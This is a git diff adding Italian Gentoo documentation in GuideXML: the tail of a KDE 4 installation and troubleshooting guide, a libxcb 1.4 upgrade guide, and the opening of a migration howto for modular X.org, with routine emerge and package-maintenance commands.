+# <i>emerge -av @kde-4.4</i> <comment>(contiene tutti i moduli di KDE)</comment>
+# <i>emerge -av @kdebase-4.4 @kdegames-4.4</i> <comment>(installazione dei soli moduli prescelti)</comment>
+<comment>(Per il ramo (Branch) KDE SC 4.5)</comment>
+# <i>emerge -av @kde-4.5</i> <comment>(contiene tutti i moduli di KDE)</comment>
+# <i>emerge -av @kdebase-4.5 @kdegames-4.5</i> <comment>(installation of chosen modules only)</comment>
+<comment>(Per il ramo (Trunk) KDE)</comment>
+# <i>emerge -av @kde-live</i> <comment>(contiene tutti i moduli di KDE)</comment>
+# <i>emerge -av @kdebase-live @kdegames-live</i> <comment>(installazione dei soli moduli prescelti)</comment>
+<comment>Per ulteriori informazioni vedere la sezione <uri link="#sets">Utilizzo dei Set</uri>.</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Installazione delle applicazioni KDE 4</title>
+<body>
+
+<p>
+Nell'overlay kde è possibile trovare le ebuild live delle applicazioni
+KDE 4. Sono disponibili nello slot :4 ma <b>non possono</b> essere installate
+in paralello alle versioni normali. L'utente è libero di usare sia le
+applicazioni KDE 4 nella versione "live" con KDE 4 installato tramite Portage,
+sia di usare le applicazioni KDE 4 disponibili in Portage con la versione "live"
+di KDE.
+</p>
+
+<note>
+Inoltre è disponibile nell'overlay kde un set con le applicazioni KDE 4
+"live", @kde-extras-live e un set con KOffice live @koffice-live nell'overlay
+kde, e un set con le applicazioni Qt "live", @qt-extras-live, nell'overlay
+qting-edge.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Informazioni aggiuntive riguardo Installazioni/Rimozioni</title>
+<section id="sets">
+<title>Utilizzo dei Set</title>
+<body>
+
+<warn>
+Portage 2.2_rcX è correntemente mascherato. Pertanto se si vogliono utilizzare
+i set si prega di smascherare <c>~sys-apps/portage</c> all'interno del proprio
+file <c>/etc/portage.package.unmask</c>.
+</warn>
+
+<p>
+Una delle nuove caratteristiche fornite da Portage 2.2 sono i set.
+</p>
+
+<p>
+I set permettono al team KDE di fornire un sostituto completo ai pacchetti
+monolitici, con il bonus aggiuntivo della possibilità da parte degli utenti di
+scegliere la rimozione dei pacchetti indesiderati dai set predefiniti. Ci sono
+ancora alcune discussioni in atto prima che i set vengano inseriti nell'albero
+di Portage. È possibile prelevare i set dalla dalla <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=tree;f=sets">
+directory sets</uri> dell'overlay <c>kde</c>, o scaricare un <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=snapshot;h=5b2fc54fa5d1c8aeddaeb05f044bf28754bb18be;sf=tbz2">
+archivio tar.bz2</uri> e inserire quelli che si preferiscono in
+<path>/etc/portage/sets</path> (è possibile consultare la lista dei set forniti
+dal team KDE nell'overlay usando il primo collegamento).
+</p>
+
+<note>
+Se si sta usando l'overlay kde è possibile usare direttamente i set,
+invece che copiarli in <path>/etc/portage/sets</path>.
+</note>
+
+<p>
+Tra l'altro ci sono i set per ogni pacchetto KDE - @kdeaccessibility, @kdeadmin,
+@kdeartwork, @kdebase, @kdeedu, @kdegames, @kdegraphics, @kdemultimedia,
+@kdenetwork, @kdepim, @kdesdk, @kdetoys, e @kdeutils. C'è anche un set di set
+(l'equivalente del vecchio pacchetto kde-meta) @kde, e lo stesso per specifica
+versione, ovvero @kde-3.5 e @kde-4x, un set per le dipendenze di KDE @kdedeps,
+un set per i pacchetti opzionali @kdeoptional e un set per i pacchetti suddivisi
+("split", ndt) di qt @qt-split.
+</p>
+
+<p>
+L'utente può installare un sistema kde completo eseguendo <c>emerge -av
+@kde</c>. Gli equivalenti con la versione specifica sono molto utili per
+disinstallare una vecchia versione, es. <c>emerge -C @kde-3.5</c>, o per
+reinstallare tutti i pacchetti appartenenti ad una versione specifica, es.
+<c>emerge -av1 @kde-4x</c>. Alcune caratteristiche avanzate, come la rimozione
+di pacchetti indesiderati da un set, verranno supportate nei rilasci futuri di
+Portage; è possibile ottenere maggiori informazioni leggendo il <uri
+link="http://planet.gentoo.org/developers/genone/2008/09/29/more_extensions_to_package_set_support">
+blog di Marius Mauch's (genone)</uri>. Parte di questo codice è stato già
+rilasciato in portage-2.2_rc12, pertanto è possibile reinstallare tutti i
+pacchetti installati di un set con il comando <c>emerge -av
+@&lt;set&gt;/@installed</c> o avere un set
+<path>/etc/portage/sets/kdebase-unwanted</path> e successivamente eseguire
+<c>emerge -av @kdebase-@kdebase-unwanted</c>.
+</p>
+
+<p>
+Si consiglia vivamente di installare il set <c>kdebase</c> in modo da ottenere
+una sessione completa di KDE4. Nell'esempio seguente verranno installati i set
+<c>kdebase</c> e <c>kdegames</c>.
+</p>
+
+<pre caption="Installare KDE SC">
+# <i>emerge @kdebase @kdegames</i>
+</pre>
+
+<note>
+Se si vuole controllare la lista dei set a disposizione di Portage, eseguire il
+seguente comando: <c>emerge --list-sets</c>
+</note>
+
+<note>
+Tutte le ebuild per le versioni di KDE maggiori o uguali a 4.1 richiedono
+<c>sys-apps/portage-2.1.6</c> o versioni successive, in quanto da tale versione
+in poi sono state implementate in modo completo le nuove specifiche EAPI 2 usate
+in queste ebuild (per usare i set, invece, è richiesto
+<c>sys-apps/portage-2.2_rc12</c> o versioni successive).
+</note>
+
+</body>
+</section>
+<section id="cleanup">
+<title>Pulizia di KDE</title>
+<body>
+
+<p>
+Per ridurre al minimo gli inconvenienti la miglior cosa è iniziare con un
+ambiente pulito. È raccomandato nei seguenti casi:
+</p>
+
+<ul>
+  <li>
+    Quando si sta migrando da un'installazione <c>+kdeprefix</c> ad una
+    <c>-kdeprefix</c> (e viceversa)
+  </li>
+  <li>
+    Ritorno ad una versione precedente ("downgrade", ndt) di KDE (es. da
+    versioni snapshots/ebuild live a una versione di Portage)
+ </li>
+ <li>Aggiornamento completo da KDE 3 a KDE 4 (e viceversa)</li>
+ <li>Migrazione da un vecchio overlay</li>
+</ul>
+
+<p>
+Due possibili modalità di rimozione di vecchie installazioni di KDE sono:
+</p>
+
+<pre caption="Commandi di unmerge">
+# <i>emerge -C @kde-4.X @kdebase-4.X @kde-3.5</i> (usando i tipici set)
+# <i>emerge -C $(qfile -C -q -e /usr/kde/%PREFIX%)</i> <comment>(sostituire %PREFIX% con la propria versione di KDE, es. 3.5, 4)</comment>
+</pre>
+
+<pre caption="Commandi di unmerge (applicabili solamente se si sta migrando da un vecchio overlay)">
+# <i>cd /percorso/all/overlay/</i>
+# <i>emerge -C $(find ./ -name \*.ebuild |sed -e "s:\.ebuild$::" -e "s:./::" |awk -F'/' '{print "="$1"/"$3}')</i>
+</pre>
+
+<p>
+Il passaggio finale sarà quello di rimuovere il vecchio overlay in modo da non
+creare conflitti con le ebuild di KDE. Inoltre si dovranno rimuovere anche i
+vecchi file relativi agli unmask e keyword dei pacchetti.
+</p>
+
+<note>
+Non dimenticarsi di eseguire <c>emerge --depclean</c> in modo da disinstallare
+tutte le dipendenze inutilizzate.
+</note>
+
+</body>
+</section>
+<section>
+<title>Ricostruire il database delle applicazioni</title>
+<body>
+
+<p>
+Per ricostruire il database delle applicazioni KDE eseguire:
+</p>
+
+<pre caption="comando kbuildsycoca">
+# <i>kbuildsycoca4 --noincremental</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Localizzazione/Internazionalizzazione</title>
+<body>
+
+<p>
+Con il nuovo KDE ci sono nuovi sforzi di traduzione nella Localizzazione
+piuttosto che nell'Internazionalizzazione. Questo può causare un po' di
+confusione, ma non c'è da preoccuparsi: l'unica cosa che cambia è il nome.
+</p>
+
+<pre caption="Ottenere le traduzioni">
+<comment>Per KDE 4 e KOffice 2:</comment>
+# <i>emerge kde-l10n</i>
+# <i>emerge koffice-l10n</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Migrare le configurazioni da 3.5 a 4.X</title>
+<body>
+
+<p>
+KDE memorizza i propri file di configurazione, come impostazione predefinita,
+nella directory <path>~/.kde</path>. Nelle ebuild di Gentoo tale comportamento,
+in KDE 4.x, è stato modificato per permettere una migliore integrazione tra KDE
+3.5 e 4.X quando si utilizza lo stesso account utente. Se si esporta la
+variabile $KDEHOME questa modalità verrà aggirata, pertanto sì raccomanda
+caldamente di non farlo: $KDEHOME farà sì che KDE 3.5 e 4.X usino la stessa
+directory di configurazione, cosa che normalmente non è desiderabile accada.
+</p>
+
+<p>
+KDE 3.5 usa <path>~/.kde</path> e la modalità predefinita FSH
+(<c>-kdeprefix</c>) di KDE 4.x usa <e>~/.kde4</e>.
+</p>
+
+<p>
+Le impostazioni non vengono migrate in modo predefinito. Se si vuol provare a
+migrare le proprie impostazioni bisogna copiare la vecchia directory di
+configurazione nella nuova posizione, prima di effettuare la procedura di
+login. Per esempio:
+</p>
+
+<pre caption="Copiare la directory di configurazione">
+$ <i>cp -r ~/.kde ~/.kde4</i>
+</pre>
+
+<p>
+Se questa operazione ha successo, allora le proprio impostazioni verranno
+migrate in modo completo. In caso contrario, è possibile effettuare il logout e
+rimuovere la nuova directory di configurazione e partire con una pulita.
+</p>
+
+<impo>
+Migrare ad una versione precedente, dalla 4.x alla 3.5, non è supportato.
+</impo>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Suggerimenti e Risoluzione dei problemi</title>
+<section>
+<title>Plasmoidi</title>
+<body>
+
+<p>
+I plasmoidi sono dei nuovi oggetti plasma che possono migliorare la propria
+esperienza desktop. Molti plasmoidi sono disponibili nella categoria kde-misc/.
+Se il proprio plasmoide preferito risulta mancante, aprire un bug report e
+qualcuno creerà sicuramente l'ebuild. Se si desidera installarli tutti, c'è un
+set chiamato @plasmoids che contiene tutti i plasmoidi attualmente disponibili.
+</p>
+
+<note>
+Molti plasmoidi sono disponibili nell'overlay kde.
+</note>
+
+</body>
+</section>
+<section>
+<title>Temi Plasma</title>
+<body>
+
+<p>
+L'ebuild che contiene diversi temi per plasma si chiama
+x11-themes/plasma-themes. La procedura per richiedere temi addizionali è uguale
+a quella per i plasmoidi.
+</p>
+
+</body>
+</section>
+<section>
+<title>Rendere simili le applicazioni GTK a quelle QT</title>
+<body>
+
+<p>
+L'ebuild da utilizzare se si vuole che le proprie applicazioni GTK usino
+un tema simile alle applicazioni Qt/KDE si chiama
+x11-themes/gtk-engines-qtcurve. Bisogna inoltre installare
+<c>x11-themes/qtcurve-qt4</c> per far sì che funzioni con le applicazioni Qt
+4/KDE 4. Per poter accedere alla configurazione presente in "Impostazioni di
+Sistema->Aspetto->Stili e caratteri GTK" bisogna installare
+<c>kde-misc/kcm_gtk</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Akonadi si lamenta riguardo alla configurazione di MySQL</title>
+<body>
+
+<p>
+Cominciare controllando i permessi in <path>/usr/share/config</path> e
+<path>/usr/share/kde4</path>. Se sono 700 ("rwx------", ndt), bisognerà
+aggiornarli ricorsivamente a 755 ("rwxr-xr-x", ndt).
+</p>
+
+<pre caption="Aggiornare i permessi di /usr/share/config">
+# <i>chmod -R 755 /usr/share/{config,kde4}</i>
+</pre>
+
+<p>
+Se ciò non risolve l'errore, bisogna aprire la configurazione di akonadi e
+modificare la configurazione predefinita di mysql. Se non è in esecuzione
+l'icona del vassoio ("tray", ndt), eseguire <c>akonaditray</c>, selezionare
+"Configurazione Server Akonadi", attivare "Usare il server MySQL interno", e
+premere il pulsante test. Se si vuole usare il server mysql e non l'eseguibile
+integrato, è necessario assicurarsi che mysql sia in esecuzione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Eseguire KDE all'avvio del sistema</title>
+<body>
+
+<p>
+Ci sono due modi per eseguire KDE all'avvio del sistema. Quello più semplice è
+usare KDM, disponibile tramite il pacchetto <c>kde-base/kdm</c>. Per prima cosa
+modificare il file di configurazione di Xorg, impostando la variabile
+DISPLAYMANAGER a "kdm":
+</p>
+
+<pre caption="Modificare /etc/conf.d/xdm">
+# What display manager do you use ?  [ xdm | gdm | kdm | kdm-4.3 | gpe | entran$
+# NOTE: If this is set in /etc/rc.conf, that setting will override this one.
+#
+# KDE-specific note:
+# - If you are using kdeprefix go with "kdm-4.Y", e.g. "kdm-4.3".
+#     You can find possible versions by looking at the directories in /usr/kde/.
+# - Else, if you are using KDE 3 enter "kdm-3.5"
+# - Else, if you are using KDE 4 enter "kdm" without a version
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+Il passaggio successivo è aggiungere xdm al runlevel default:
+</p>
+
+<pre caption="Aggiungere xdm al runlevel default">
+# <i>rc-update add xdm default</i>
+</pre>
+
+</body>
+</section>
+<section>
+
+<title>Suggerimenti sui font</title>
+<body>
+
+<p>
+Se cliccando per visualizzare il menù esso risulta illeggibile, bisogna
+installare alcuni font di caratteri. Alcune delle scelte più comuni sono
+<c>media-fonts/corefonts</c>, <c>media-fonts/ttf-bitstream-vera</c> e
+<c>media-fonts/dejavu</c>.
+</p>
+
+</body>
+
+</section>
+<section>
+<title>KDM non si avvia</title>
+<body>
+
+<p>
+Cominciare controllando i permessi in /usr/share/config. Se sono 700
+("rwx------", ndt), bisognerà aggiornarli ricorsivamente a 755 ("rwxr-xr-x",
+ndt). Controllare la sezione precedente. Se ciò non risolve l'errore,
+controllare il seguente avvertimento nell'ebuild di kdm:
+</p>
+
+<pre caption="avvertimento di kdm">
+Se quando riavvii xdm, kdm non riesce ad avviarsi restituendo messaggi del tipo
+gentoo kdm[2116]: X server startup timeout, terminating" in /var/log/messages,
+decommentare la riga ServerTimeout in "grep kdmrc /var/db/pkg/kde-base/kdm-4.3.1/CONTENTS | cut -f2 -d " ""
+e assicurarsi di incrementare il valore di timeout - con 60 dovrebbe funzionare
+</pre>
+
+<p>
+Inoltre assicurarsi che i seguenti servizi siano avviati:
+</p>
+
+<pre caption="controllare ed avviare i servizi">
+# <i>/etc/init.d/dbus status</i>
+# <i>/etc/init.d/hald status</i>
+# <i>/etc/init.d/consolekit status</i>
+</pre>
+
+<p>
+Se non sono avviati, abilitarli sostituendo <c>status</c> con <c>start</c>, e
+usare il comando <c>rc-update add dbus default</c> (sostituire "dbus" con il
+nome del relativo servizio, ndt) per ciascuno di essi per aggiungerli al
+runlevel default.
+</p>
+
+<p>
+Infine, KDM potrebbe non avviarsi correttamente a causa di errori in
+<path>/etc/X11/xorg.conf</path>. Controllare i propri log:
+<path>/var/log/Xorg.0.log</path> e <path>/var/log/kdm.log</path> e correggere
+conseguentemente <path>xorg.conf</path>. Per ulteriore aiuto è possibile
+trovare i membri del team KDE di Gentoo su IRC (canale #gentoo-kde su Freenode).
+</p>
+
+</body>
+</section>
+<section>
+<title>L'applet della batteria o le notifiche di solid non mostrano le
+informazioni pertinenti</title>
+<body>
+
+<p>
+Per fare in modo che l'applet della batteria o altre notifiche di solid possano
+mostrare le informazioni pertinenti, bisogna che dbus e hald siano in
+esecuzione.
+</p>
+
+<pre caption="controllare ed avviare dbus e hald">
+# <i>/etc/init.d/dbus status</i>
+# <i>/etc/init.d/hald status</i>
+# <i>/etc/init.d/dbus start</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Desktop profile and subprofiles</title>
+<body>
+
+<p>
+Il profilo desktop è stato suddiviso nei sottoprifili KDE e GNOME. Ciò
+significa che le flag specifiche per KDE E GNOME sono state rimosse dal profilo
+desktop  di base e migrati nei sottoprofili. Tuttavia scegliere un sottoprofilo
+non costringe l'utente ad usare solamente l'equivalente Ambiente Desktop.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/x/x11/libxcb-1.4-upgrade-guide.xml b/xml/htdocs/proj/it/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
new file mode 100644
index 00000000..ca46fc4b
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/x/x11/libxcb-1.4-upgrade-guide.xml,v 1.2 2009/10/12 19:55:48 scen Exp $ -->
+
+<guide link="/proj/it/desktop/x/x11/libxcb-1.4-upgrade-guide.xml" lang="it">
+<title>Guida all'aggiornamento di libxcb 1.4 in Gentoo</title>
+
+<author title="Autore">
+  <mail link="remi" />
+</author>
+<author title="Traduzione">
+  <mail link="richard77@libero.it">Federico Della Ricca</mail>
+</author>
+
+<abstract>
+Questa guida mostra come aggiornare libxcb dalla versione 1.1.90.2 (o
+precedenti) a libxcb 1.4.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+<version>0.1</version>
+<date>2009-09-12</date>
+
+<chapter>
+<title>Aggiornamento a libxcb 1.4</title>
+<section>
+<body>
+
+<pre caption="Aggiornamento dei pacchetti xcb">
+# <i>emerge -1av x11-proto/xcb-proto x11-libs/libxcb</i>
+# <i>emerge -1av x11-proto/xproto x11-proto/xextproto x11-libs/libX11 x11-libs/libXext</i>
+</pre>
+
+<p>
+Ora tutti i pacchetti necessari con il supporto per la nuova libxcb sono stati
+installati.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Riparazione degli archivi libtool danneggiati</title>
+<section>
+<body>
+
+<p>
+Anche se l'aggiornamento potrebbe essere concluso ed il sistema funzionare,
+l'installazione o l'aggiornamento di nuovi pacchetti potrebbe portare a
+spiacevoli sorprese, a causa dei famigerati archivi con estensione <c>.la</c>
+creati da libtool.
+</p>
+
+<p>
+Il problema è che fino a poco tempo fa, libX11 utilizzava una versione della
+libreria libxcb dedicata chiamata <c>libxcb-xlib.so</c>, creata specificatamente
+per libX11. Di per sé questo non costituisce un problema, ma va a inquinare i
+file <c>.la</c> installati nel sistema (a causa del meccanismo di funzionamento
+di libtool).
+</p>
+
+<p>
+Poiché le nuove versioni di libxcb non contengono più questa libreria (e
+quindi libX11 è stato modificato di conseguenza), bisogne rimuovere tutti i
+riferimenti a questa libreria all'interno dei file <c>.la</c>.
+</p>
+
+<p>
+A questo scopo, basta eseguire
+<c>/usr/portage/x11-libs/libxcb/files/xcb-rebuilder.sh</c> per riparare tutti i
+file <c>.la</c> del proprio sistema.
+</p>
+
+<p>
+Questo strumento inoltre notifica se ci sono librerie condivise (i file
+<c>.so</c>,  che di solito si trovano in <c>/lib</c> e <c>/usr/lib</c>) che
+contengono ancora riferimenti alla libreria rimossa. Se così fosse, continuare a
+leggere. In caso contrario, si è fortunati e il sistema è pronto e funzionante.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Riparazione delle librerie condivise danneggiate</title>
+<section>
+<body>
+
+<p>
+Per evitare di danneggiare seriamente i sistemi degli utenti, è stato deciso di
+mantenere <c>libxcb-xlib.so</c> in modo di dare la possibilità agli utenti di
+sistemare il proprio sistema gradualmente. Se si sono seguite le istruzioni fin
+qui riportate, il sistema dovrebbe funzionare correttamente sia nella
+compilazione che nell'esecuzione dei programmi.
+</p>
+
+<p>
+Prima di poter rimuovere <c>libxcb-xlib.so</c>, bisogna ricompilare alcuni
+pacchetti. Se non venissero ricompilati, rimuovere la vecchia libreria renderà
+il sistema <b>non funzionante</b>.
+</p>
+
+<p>
+Eseguendo la linea di comando qui sotto verrà ricompilato un semplice ma
+efficace sottoinsieme dei pacchetti potenzialmente danneggiati. Non verranno
+installati pacchetti che non siano già presenti nel sistema.
+</p>
+
+<pre caption="Ricompilazione dei pacchetti essenziali">
+# <i>emerge --oneshot \
+$(for i in x11-proto/ x11-libs/libxcb x11-libs/libX11 x11-libs/libXext \
+           x11-libs/libX x11-libs/xcb-util x11-libs/cairo \
+           x11-libs/pango x11-libs/gtk\\+ \
+           x11-libs/qt-gui; do \
+    qlist -IC $i; \
+done) -av</i>
+</pre>
+
+<p>
+Fatto ciò, si può utilizzare <c>revdep-rebuild</c> (contenuto in
+<c>app-portage/gentoolkit</c>) per sistemare il resto del sistema.
+</p>
+
+<pre caption="Ricompilazione dei pacchetti danneggiati rimasti">
+# <i>revdep-rebuild -L libxcb-xlib.so.0</i>
+</pre>
+
+<p>
+Quando <c>revdep-rebuild</c> non darà più notifiche di pacchetti danneggiati,
+si potrà tranquillamente rimuovere <c>libxcb-xlib.so.0</c> dalla directory delle
+librerie.
+</p>
+
+<pre caption="Rimozione della libreria non più usata">
+# <i>rm -i /usr/lib/libxcb-xlib.so*</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/it/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..c0d7da39
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,652 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/x/x11/modular-x-howto.xml,v 1.9 2007/07/23 21:28:01 scen Exp $ -->
+
+<guide link="/proj/it/desktop/x/x11/modular-x-howto.xml" lang="it">
+<title>Guida per la migrazione a X Modulare</title>
+
+<author title="Autore">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Autore">
+  <mail link="joshuabaergen@gmail.com">Joshua Baergen</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questa guida spiega come migrare ad X.org modulare.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1.2</version>
+<date>2006-11-05</date>
+
+<chapter>
+<title>Introduzione</title>
+
+<section>
+<title>Perché modulare?</title>
+<body>
+
+<p>
+Probabilmente ci si meraviglierebbe se un singolo ed elementare pacchetto come
+xorg-x11 venisse diviso in almeno 300 pacchetti separati. Questo cambiamento non
+è qualcosa che Gentoo sta facendo indipendentemente dallo sviluppo di X.Org; gli
+sviluppatori di questo software stanno suddividendo tutti i pacchetti in
+versioni separate, e il gruppo degli sviluppatori di Gentoo sta seguendo la
+stessa modalità.
+</p>
+
+<p>
+Le ragioni dietro la divisione e alla modifica della struttura di X.Org sono
+almeno tre:
+</p>
+
+<ul>
+  <li>
+    E' troppo difficile per i nuovi sviluppatori addentrarsi in X, perciò si è
+    migrati ad autotools, un sistema di cui molte persone sono soddisfatte, se
+    non addirittura felici.
+  </li>
+  <li>
+    Seguendo questo spostamento, con autotools è possibile dividere i sorgenti,
+    e questo rende X più facile da sviluppare.
+  </li>
+  <li>
+    Le varie parti di X sono state tenute insieme senza motivo in passato, e ciò
+    ha reso la risoluzione di bug spesso non possibile. Se si riusciva ad
+    effettuare le correzioni, esse richiedevano la ricompilazione totale di
+    XOrg. Per esempio, un bug nei driver ati significava aspettare 6 mesi fino
+    al prossimo rilascio, oppure bisognava ricompilare tutto, anche i font, per
+    risolvere il problema, senza nessuna ragione valida.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migrare a X Modulare</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Per far sì che vecchi pacchetti non creino conflitti, verrà fatta pulizia di
+tutti i file relativi al vecchio xorg-x11, prima di installare X modulare. Non è
+assolutamente essenziale ciò, ma aiuterà ad effettuare una migrazione il più
+trasparente possibile.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Primo passaggio. Rimuovere completamente il vecchio X</title>
+<body>
+
+<pre caption="Fare una copia di sicurezza del vecchio xorg-x11">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+Liberarsi dell'installazione monolitica:
+</p>
+
+<pre caption="Rimuovere l'installazione monolitica">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+</pre>
+
+<p>
+si potrebbe aver bisogno di una copia di sicurezza di xorg-x11 monolitico nel
+caso in seguito si verificassero incidenti irreversibili. È consigliabile
+installare un browser testuale come links o lynx per visualizzare questa guida
+mentre X non è disponibile.
+</p>
+
+<p>
+Se la propria directory <path>/usr/X11R6</path> non è un collegamento simbolico
+a <path>/usr</path>, cancellarla e cominciare da zero. Ma prima di farlo,
+salvare la lista di tutti i pacchetti installati dentro di essa. Il pacchetto
+<c>gentoolkit</c> fornisce <c>equery</c>.
+</p>
+
+<pre caption="Creare una lista di pacchetti">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+  then equery belongs /usr/X11R6 > ~/usr-x11r6-packages \
+  &amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Secondo passaggio: Installare X modulare</title>
+<body>
+
+<p>
+Per l'accelerazione grafica, attivare la flag USE <c>dri</c>.
+</p>
+
+<p>
+Successivamente, installare i driver necessari. Questa operazione potrà variare
+in base al proprio hardware video o di input. Se si possiede già un file di
+configurazione <path>/etc/X11/xorg.con</path> funzionante, eseguire il seguente
+comando per farsi un'idea di quale driver si avrà bisogno:
+</p>
+
+<pre caption="Trovare i driver dei quali si ha bisogno">
+# <i>grep Driver /etc/X11/xorg.conf</i>
+Driver      "kbd"
+Driver      "mouse"
+Driver      "radeon"
+</pre>
+
+<pre caption="Verificare i driver disponibili">
+# <i>emerge --verbose --pretend xorg-x11</i>
+[ebuild   R   ] x11-base/xorg-x11-7.0-r1  USE="-xprint" INPUT_DEVICES="keyboard
+mouse -acecad -aiptek -calcomp -citron -digitaledge -dmc -dynapro -elo2300
+-elographics -evdev -fpit -hyperpen -jamstudio -joystick -magellan -magictouch
+-microtouch -mutouch -palmax -penmount -spaceorb -summa -synaptics% -tek4957
+-ur98 -vmmouse -void" VIDEO_CARDS="i128 mga savage -apm -ark -ati* -chips
+-cirrus -cyrix -dummy -fbdev -fglrx% -glint -i740 -i810 -imstt -neomagic
+-newport -nsc -nv -nvidia% -rendition -s3 -s3virge -siliconmotion -sis -sisusb
+-sunbw2 -suncg14 -suncg3 -suncg6 -sunffb -sunleo -suntcx -tdfx -tga -trident
+-tseng -v4l -vesa -vga -via -vmware -voodoo" 0 kB
+</pre>
+
+<p>
+Impostare INPUT_DEVICES e VIDEO_CARDS secondo le proprie esigenze in
+<path>/etc/make.conf</path>. Le impostazioni minimail per l'esempio precedente
+potrebbero essere INPUT_DEVICES="<c>keyboard mouse</c>"
+VIDEO_CARDS="<c>ati</c>". Se non si imposta l'una o l'altra variabile, xorg-x11
+farà installare tutti i possibili driver di quel tipo. Per avere dei driver di
+scorta, si potrebbe aggiungere anche <c>vesa</c> e <c>fbdev</c> a VIDEO_CARDS.
+</p>
+
+<p>
+A questo punto installare il metapacchetto, il quale installerà il server e le
+applicazioni principali, fornendo una implementazione funzionante di X per il
+desktop:
+</p>
+
+<pre caption="Installare il metapacchetto modulare">
+# <i>emerge xorg-x11</i>
+# <i>etc-update</i>
+</pre>
+
+<p>
+Si noterà che questa installazione sarà alquanto minimale, poichè elementi come
+xcursor-themes non verranno installati in modo predefinito. Per esempio,
+si potrebbe voler installare xcursor-themes se è stata cambiata la
+configurazione dei cursori su whiteglass, redglass o handhelds. Se si usano i
+temi gentoo, gentoo-blue o gentoo-silver per i cursori, installare
+gentoo-xcursors.
+</p>
+
+<note>
+Con l'installazione modulare, driver esterni come nvidia-glx o wacom o
+applicazioni vnc potrebbero non funzionare, se essi installano delle loro parti
+in <path>/usr/lib/modules/</path> invece che in
+<path>/usr/lib/xorg/modules</path>. Molti di questi pacchetti hanno una
+rilevazione di X modulare inserita nel processo di installazione, di conseguenza
+essi vanno reinstallati a seguito dell'installazione di X modulare.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Avvertimenti/Problemi Comuni</title>
+<section>
+<title>'emerge -u world' vuole installare xorg-x11 6.x o virtual/x11</title>
+<body>
+
+<p>
+Questo avviene perchè le dipendenze di alcuni pacchetti non sono ancora state
+aggiornate per la versione modulare. È possibile dare una mano nel faticoso
+compito di migrazione leggendo la <uri
+link="/proj/it/desktop/x/x11/porting-modular-x-howto.xml">Guida per il porting
+a X modulare</uri> e fornire le patch dei bug ai manutentori dei singoli
+pacchetti. I manutentori saranno elencati in <path>metadata.xml</path> nella
+stessa directory del pacchetto e il pacchetto <c>herdstat</c> velocizzerà la
+loro interrogazione.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Cos'è successo a tutte le flag USE?</title>
+<body>
+
+<p>
+Diverse flag USE usate nella serie xorg-x11-6.8 sono state rimosse o spostate
+nella 7.0. Qualche nuova flag USE è invece apparsa. Ecco il perchè:
+</p>
+
+<table>
+<tr>
+  <th>USE flag</th>
+  <th>Cosa comporta in xorg 7.0?</th>
+</tr>
+<tr>
+  <ti>3dfx</ti>
+  <ti>
+    Nella versione 7.0, aggiunge glide-v3 come dipendenza del metapacchetto
+    xorg-x11
+  </ti>
+</tr>
+<tr>
+  <ti>3dnow, mmx, sse</ti>
+  <ti>
+    Abilitate in modo predefinito in fase di compilazione, perchè ci sono dei
+    controlli in fase di esecuzione.
+  </ti>
+</tr>
+<tr>
+  <ti>bitmap-fonts, truetype-fonts, type1-fonts</ti>
+  <ti>
+    Il metapacchetto xorg-x11 installa un piccola selezione dei principali font
+    usati o richiesti. Si potrà installarne di ulteriori tramite i pacchetti in
+    media-fonts/.
+  </ti>
+</tr>
+<tr>
+  <ti>cjk</ti>
+  <ti>
+    USE=nls su font-misc-misc e font-sony-misc per ottenere i font JISX0201
+    giapponesi. Molti altri sono in font-jis-misc. I font cinesi sono in
+    font-isas-misc. I font coreani sono in font-daewoo-misc.
+  </ti>
+</tr>
